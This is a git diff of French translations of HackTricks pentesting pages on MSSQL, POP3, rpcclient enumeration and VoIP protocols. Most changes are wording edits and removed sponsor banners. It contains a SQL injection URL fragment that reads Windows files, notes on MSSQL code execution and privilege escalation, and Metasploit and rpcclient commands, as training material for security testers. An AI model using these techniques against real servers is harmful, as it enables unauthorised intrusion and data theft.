Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier :
|
Pour écrire des fichiers en utilisant `MSSQL`, nous **devons activer** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ce qui nécessite des privilèges d'administrateur, puis exécuter certaines procédures stockées pour créer le fichier :
|
||||||
```bash
|
```bash
|
||||||
|
@ -301,7 +293,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
||||||
|
|
||||||
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
|
MSSQL pourrait vous permettre d'exécuter des **scripts en Python et/ou R**. Ce code sera exécuté par un **utilisateur différent** de celui utilisant **xp\_cmdshell** pour exécuter des commandes.
|
||||||
|
|
||||||
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionnant pas** :
|
Exemple essayant d'exécuter un **'R'** _"Hellow World!"_ **ne fonctionne pas** :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (393).png>)
|
![](<../../.gitbook/assets/image (393).png>)
|
||||||
|
|
||||||
|
@ -348,13 +340,13 @@ Pour **plus d'exemples**, consultez la [**source originale**](https://blog.wayne
|
||||||
|
|
||||||
### RCE avec la fonction définie par l'utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### RCE avec la fonction définie par l'utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
Il est possible de **charger un .NET dll dans MSSQL avec des fonctions personnalisées**. Cela, cependant, **nécessite un accès `dbo`** donc vous avez besoin d'une connexion à la base de données **en tant que `sa` ou un rôle Administrateur**.
|
Il est possible de **charger un .NET dll dans MSSQL avec des fonctions personnalisées**. Cela, cependant, **nécessite un accès `dbo`** donc vous avez besoin d'une connexion avec la base de données **en tant que `sa` ou un rôle Administrateur**.
|
||||||
|
|
||||||
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
||||||
|
|
||||||
### Autres méthodes pour RCE
|
### Autres méthodes pour RCE
|
||||||
|
|
||||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Jobs de SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Tâches SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
## Escalade de privilèges MSSQL
|
## Escalade de privilèges MSSQL
|
||||||
|
|
||||||
|
@ -427,7 +419,7 @@ enum_links
|
||||||
use_link [NAME]
|
use_link [NAME]
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Si vous pouvez usurper l'identité d'un utilisateur, même s'il n'est pas sysadmin, vous devez vérifier **si l'utilisateur a accès** à d'autres **bases de données** ou serveurs liés.
|
Si vous pouvez usurper l'identité d'un utilisateur, même s'il n'est pas sysadmin, vous devriez vérifier **si l'utilisateur a accès** à d'autres **bases de données** ou serveurs liés.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Notez qu'une fois que vous êtes sysadmin, vous pouvez usurper l'identité de n'importe quel autre utilisateur :
|
Notez qu'une fois que vous êtes sysadmin, vous pouvez usurper l'identité de n'importe quel autre utilisateur :
|
||||||
|
@ -497,15 +489,9 @@ Vous pourrez probablement **escalader vers Administrateur** en suivant l'une de
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Commandes automatiques HackTricks
|
## Commandes automatiques HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
|
@ -563,8 +549,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
||||||
|
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,15 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
## Basic Information
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
|
||||||
|
|
||||||
**Le protocole de bureau de poste (POP)** est décrit comme un protocole dans le domaine des réseaux informatiques et d'Internet, qui est utilisé pour l'extraction et la **récupération d'e-mails à partir d'un serveur de messagerie distant**, les rendant accessibles sur l'appareil local. Positionné dans la couche application du modèle OSI, ce protocole permet aux utilisateurs de récupérer et de recevoir des e-mails. Le fonctionnement des **clients POP** implique généralement d'établir une connexion au serveur de messagerie, de télécharger tous les messages, de stocker ces messages localement sur le système client, puis de les supprimer du serveur. Bien qu'il existe trois itérations de ce protocole, **POP3** se distingue comme la version la plus couramment utilisée.
|
**Le protocole de bureau de poste (POP)** est décrit comme un protocole dans le domaine des réseaux informatiques et d'Internet, qui est utilisé pour l'extraction et la **récupération d'e-mails à partir d'un serveur de messagerie distant**, les rendant accessibles sur l'appareil local. Positionné dans la couche application du modèle OSI, ce protocole permet aux utilisateurs de récupérer et de recevoir des e-mails. Le fonctionnement des **clients POP** implique généralement d'établir une connexion au serveur de messagerie, de télécharger tous les messages, de stocker ces messages localement sur le système client, puis de les supprimer du serveur. Bien qu'il existe trois itérations de ce protocole, **POP3** se distingue comme la version la plus couramment utilisée.
|
||||||
|
|
||||||
|
@ -104,13 +97,8 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
||||||
| `auth_verbose_passwords` | Les mots de passe utilisés pour l'authentification sont enregistrés et peuvent également être tronqués. |
|
| `auth_verbose_passwords` | Les mots de passe utilisés pour l'authentification sont enregistrés et peuvent également être tronqués. |
|
||||||
| `auth_anonymous_username`| Cela spécifie le nom d'utilisateur à utiliser lors de la connexion avec le mécanisme ANONYMOUS SASL. |
|
| `auth_anonymous_username`| Cela spécifie le nom d'utilisateur à utiliser lors de la connexion avec le mécanisme ANONYMOUS SASL. |
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
## HackTricks Commandes Automatiques
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## Commandes Automatiques HackTricks
|
|
||||||
```
|
```
|
||||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 110 #Comma separated if there is more than one.
|
Port_Number: 110 #Comma separated if there is more than one.
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Overview of Relative Identifiers (RID) and Security Identifiers (SID)
|
### Overview of Relative Identifiers (RID) and Security Identifiers (SID)
|
||||||
|
|
||||||
**Les Identifiants Relatifs (RID)** et **les Identifiants de Sécurité (SID)** sont des composants clés dans les systèmes d'exploitation Windows pour identifier et gérer de manière unique des objets, tels que des utilisateurs et des groupes, au sein d'un domaine réseau.
|
**Les Identifiants Relatifs (RID)** et **les Identifiants de Sécurité (SID)** sont des composants clés dans les systèmes d'exploitation Windows pour identifier et gérer de manière unique des objets, tels que des utilisateurs et des groupes, au sein d'un domaine réseau.
|
||||||
|
@ -35,7 +27,7 @@ Par exemple, un utilisateur nommé `pepe` pourrait avoir un identifiant unique c
|
||||||
|
|
||||||
### **Enumeration with rpcclient**
|
### **Enumeration with rpcclient**
|
||||||
|
|
||||||
L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec **les points de terminaison RPC via des pipes nommés**. Les commandes suivantes peuvent être émises aux interfaces SAMR, LSARPC et LSARPC-DS après qu'une **session SMB soit établie**, nécessitant souvent des identifiants.
|
L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec **les points de terminaison RPC via des pipes nommés**. Les commandes ci-dessous peuvent être émises aux interfaces SAMR, LSARPC et LSARPC-DS après qu'une **session SMB soit établie**, nécessitant souvent des identifiants.
|
||||||
|
|
||||||
#### Server Information
|
#### Server Information
|
||||||
|
|
||||||
|
@ -69,7 +61,7 @@ done
|
||||||
|
|
||||||
#### Énumération des Domaines
|
#### Énumération des Domaines
|
||||||
|
|
||||||
* **Domaines** en utilisant : `enumdomains`.
|
* **Domaines** utilisant : `enumdomains`.
|
||||||
* **Le SID d'un domaine est récupéré** via : `lsaquery`.
|
* **Le SID d'un domaine est récupéré** via : `lsaquery`.
|
||||||
* **Les informations sur le domaine sont obtenues** par : `querydominfo`.
|
* **Les informations sur le domaine sont obtenues** par : `querydominfo`.
|
||||||
|
|
||||||
|
@ -80,7 +72,7 @@ done
|
||||||
|
|
||||||
#### Opérations Supplémentaires avec les SIDs
|
#### Opérations Supplémentaires avec les SIDs
|
||||||
|
|
||||||
* **SIDs par nom** en utilisant : `lookupnames <username>`.
|
* **SIDs par nom** utilisant : `lookupnames <username>`.
|
||||||
* **Plus de SIDs** via : `lsaenumsid`.
|
* **Plus de SIDs** via : `lsaenumsid`.
|
||||||
* **Le cycle RID pour vérifier plus de SIDs** est effectué par : `lookupsids <sid>`.
|
* **Le cycle RID pour vérifier plus de SIDs** est effectué par : `lookupsids <sid>`.
|
||||||
|
|
||||||
|
@ -104,23 +96,17 @@ done
|
||||||
|
|
||||||
Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_ fonctionnent, vous devriez lire [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_ fonctionnent, vous devriez lire [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,21 @@
|
||||||
# Protocoles VoIP de base
|
# Protocoles VoIP de base
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Protocoles de signalisation
|
## Protocoles de signalisation
|
||||||
|
|
||||||
### SIP (Session Initiation Protocol)
|
### SIP (Session Initiation Protocol)
|
||||||
|
@ -42,60 +28,60 @@ C'est la norme de l'industrie, pour plus d'informations, consultez :
|
||||||
|
|
||||||
### MGCP (Media Gateway Control Protocol)
|
### MGCP (Media Gateway Control Protocol)
|
||||||
|
|
||||||
MGCP (Media Gateway Control Protocol) est un **protocole de signalisation** et de **contrôle d'appel** décrit dans la RFC 3435. Il fonctionne dans une architecture centralisée, qui se compose de trois composants principaux :
|
MGCP (Media Gateway Control Protocol) est un **protocole de signalisation** et de **contrôle des appels** décrit dans le RFC 3435. Il fonctionne dans une architecture centralisée, qui se compose de trois composants principaux :
|
||||||
|
|
||||||
1. **Agent d'appel ou Contrôleur de passerelle multimédia (MGC)** : La passerelle principale dans l'architecture MGCP est responsable de **la gestion et du contrôle des passerelles multimédias**. Elle gère les processus de configuration, de modification et de terminaison des appels. Le MGC communique avec les passerelles multimédias en utilisant le protocole MGCP.
|
1. **Agent d'appel ou Contrôleur de passerelle multimédia (MGC)** : La passerelle principale dans l'architecture MGCP est responsable de **la gestion et du contrôle des passerelles multimédias**. Elle gère les processus de configuration, de modification et de terminaison des appels. Le MGC communique avec les passerelles multimédias en utilisant le protocole MGCP.
|
||||||
2. **Passerelles multimédias (MG) ou Passerelles esclaves** : Ces dispositifs **convertissent les flux multimédias numériques entre différents réseaux**, tels que la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets. Elles sont gérées par le MGC et exécutent les commandes reçues de celui-ci. Les passerelles multimédias peuvent inclure des fonctions telles que le transcodage, la mise en paquets et l'annulation d'écho.
|
2. **Passerelles multimédias (MGs) ou Passerelles esclaves** : Ces dispositifs **convertissent les flux multimédias numériques entre différents réseaux**, tels que la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets. Ils sont gérés par le MGC et exécutent les commandes reçues de celui-ci. Les passerelles multimédias peuvent inclure des fonctions telles que le transcodage, la mise en paquets et l'annulation d'écho.
|
||||||
3. **Passerelles de signalisation (SG)** : Ces passerelles sont responsables de **la conversion des messages de signalisation entre différents réseaux**, permettant une communication fluide entre les systèmes de téléphonie traditionnels (par exemple, SS7) et les réseaux basés sur IP (par exemple, SIP ou H.323). Les passerelles de signalisation sont cruciales pour l'interopérabilité et garantissent que les informations de contrôle d'appel sont correctement communiquées entre les différents réseaux.
|
3. **Passerelles de signalisation (SGs)** : Ces passerelles sont responsables de **la conversion des messages de signalisation entre différents réseaux**, permettant une communication fluide entre les systèmes de téléphonie traditionnels (par exemple, SS7) et les réseaux basés sur IP (par exemple, SIP ou H.323). Les passerelles de signalisation sont cruciales pour l'interopérabilité et garantissent que les informations de contrôle des appels sont correctement communiquées entre les différents réseaux.
|
||||||
|
|
||||||
En résumé, MGCP centralise la logique de contrôle d'appel dans l'agent d'appel, ce qui simplifie la gestion des passerelles multimédias et de signalisation, offrant une meilleure évolutivité, fiabilité et efficacité dans les réseaux de télécommunication.
|
En résumé, MGCP centralise la logique de contrôle des appels dans l'agent d'appel, ce qui simplifie la gestion des passerelles multimédias et de signalisation, offrant une meilleure évolutivité, fiabilité et efficacité dans les réseaux de télécommunications.
|
||||||
|
|
||||||
### SCCP (Skinny Client Control Protocol)
|
### SCCP (Skinny Client Control Protocol)
|
||||||
|
|
||||||
Le Skinny Client Control Protocol (SCCP) est un **protocole de signalisation et de contrôle d'appel propriétaire** détenu par Cisco Systems. Il est principalement **utilisé** pour la communication entre le **Cisco Unified Communications Manager** (anciennement connu sous le nom de CallManager) et les téléphones IP Cisco ou d'autres points de terminaison vocaux et vidéo Cisco.
|
Le Skinny Client Control Protocol (SCCP) est un **protocole de signalisation et de contrôle des appels propriétaire** détenu par Cisco Systems. Il est principalement **utilisé** pour la communication entre le **Cisco Unified Communications Manager** (anciennement connu sous le nom de CallManager) et les téléphones IP Cisco ou d'autres points de terminaison vocaux et vidéo Cisco.
|
||||||
|
|
||||||
SCCP est un protocole léger qui simplifie la communication entre le serveur de contrôle d'appel et les dispositifs de point de terminaison. Il est appelé "Skinny" en raison de son design minimaliste et de ses exigences en bande passante réduites par rapport à d'autres protocoles VoIP comme H.323 ou SIP.
|
SCCP est un protocole léger qui simplifie la communication entre le serveur de contrôle des appels et les dispositifs de point de terminaison. Il est appelé "Skinny" en raison de son design minimaliste et de ses exigences en bande passante réduites par rapport à d'autres protocoles VoIP comme H.323 ou SIP.
|
||||||
|
|
||||||
Les principaux composants d'un système basé sur SCCP sont :
|
Les principaux composants d'un système basé sur SCCP sont :
|
||||||
|
|
||||||
1. **Serveur de contrôle d'appel** : Ce serveur, généralement un Cisco Unified Communications Manager, gère les processus de configuration, de modification et de terminaison des appels, ainsi que d'autres fonctionnalités de téléphonie telles que le renvoi d'appel, le transfert d'appel et la mise en attente d'appel.
|
1. **Serveur de contrôle des appels** : Ce serveur, généralement un Cisco Unified Communications Manager, gère les processus de configuration, de modification et de terminaison des appels, ainsi que d'autres fonctionnalités de téléphonie telles que le renvoi d'appels, le transfert d'appels et la mise en attente des appels.
|
||||||
2. **Points de terminaison SCCP** : Ce sont des dispositifs tels que des téléphones IP, des unités de vidéoconférence ou d'autres points de terminaison vocaux et vidéo Cisco qui utilisent SCCP pour communiquer avec le serveur de contrôle d'appel. Ils s'enregistrent auprès du serveur, envoient et reçoivent des messages de signalisation, et suivent les instructions fournies par le serveur de contrôle d'appel pour la gestion des appels.
|
2. **Points de terminaison SCCP** : Ce sont des dispositifs tels que des téléphones IP, des unités de vidéoconférence ou d'autres points de terminaison vocaux et vidéo Cisco qui utilisent SCCP pour communiquer avec le serveur de contrôle des appels. Ils s'enregistrent auprès du serveur, envoient et reçoivent des messages de signalisation, et suivent les instructions fournies par le serveur de contrôle des appels pour la gestion des appels.
|
||||||
3. **Passerelles** : Ces dispositifs, tels que les passerelles vocales ou les passerelles multimédias, sont responsables de la conversion des flux multimédias entre différents réseaux, comme la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets. Elles peuvent également inclure des fonctionnalités supplémentaires, telles que le transcodage ou l'annulation d'écho.
|
3. **Passerelles** : Ces dispositifs, tels que les passerelles vocales ou les passerelles multimédias, sont responsables de la conversion des flux multimédias entre différents réseaux, comme la téléphonie traditionnelle commutée par circuit et les réseaux IP commutés par paquets. Ils peuvent également inclure des fonctionnalités supplémentaires, telles que le transcodage ou l'annulation d'écho.
|
||||||
|
|
||||||
SCCP offre une méthode de communication simple et efficace entre les serveurs de contrôle d'appel Cisco et les dispositifs de point de terminaison. Cependant, il convient de noter que **SCCP est un protocole propriétaire**, ce qui peut limiter l'interopérabilité avec des systèmes non-Cisco. Dans de tels cas, d'autres protocoles VoIP standard comme SIP peuvent être plus appropriés.
|
SCCP offre une méthode de communication simple et efficace entre les serveurs de contrôle des appels Cisco et les dispositifs de point de terminaison. Cependant, il convient de noter que **SCCP est un protocole propriétaire**, ce qui peut limiter l'interopérabilité avec des systèmes non Cisco. Dans de tels cas, d'autres protocoles VoIP standard comme SIP peuvent être plus appropriés.
|
||||||
|
|
||||||
### H.323
|
### H.323
|
||||||
|
|
||||||
H.323 est une **suite de protocoles** pour la communication multimédia, y compris la voix, la vidéo et la conférence de données sur des réseaux commutés par paquets, tels que les réseaux basés sur IP. Il a été développé par l'**Union internationale des télécommunications** (UIT-T) et fournit un cadre complet pour gérer les sessions de communication multimédia.
|
H.323 est une **suite de protocoles** pour la communication multimédia, y compris la voix, la vidéo et la conférence de données sur des réseaux commutés par paquets, tels que les réseaux basés sur IP. Il a été développé par l'**Union internationale des télécommunications** (UIT-T) et fournit un cadre complet pour la gestion des sessions de communication multimédia.
|
||||||
|
|
||||||
Certains composants clés de la suite H.323 incluent :
|
Certains composants clés de la suite H.323 incluent :
|
||||||
|
|
||||||
1. **Terminaux** : Ce sont des dispositifs de point de terminaison, tels que des téléphones IP, des systèmes de vidéoconférence ou des applications logicielles, qui prennent en charge H.323 et peuvent participer à des sessions de communication multimédia.
|
1. **Terminaux** : Ce sont des dispositifs de point de terminaison, tels que des téléphones IP, des systèmes de vidéoconférence ou des applications logicielles, qui prennent en charge H.323 et peuvent participer à des sessions de communication multimédia.
|
||||||
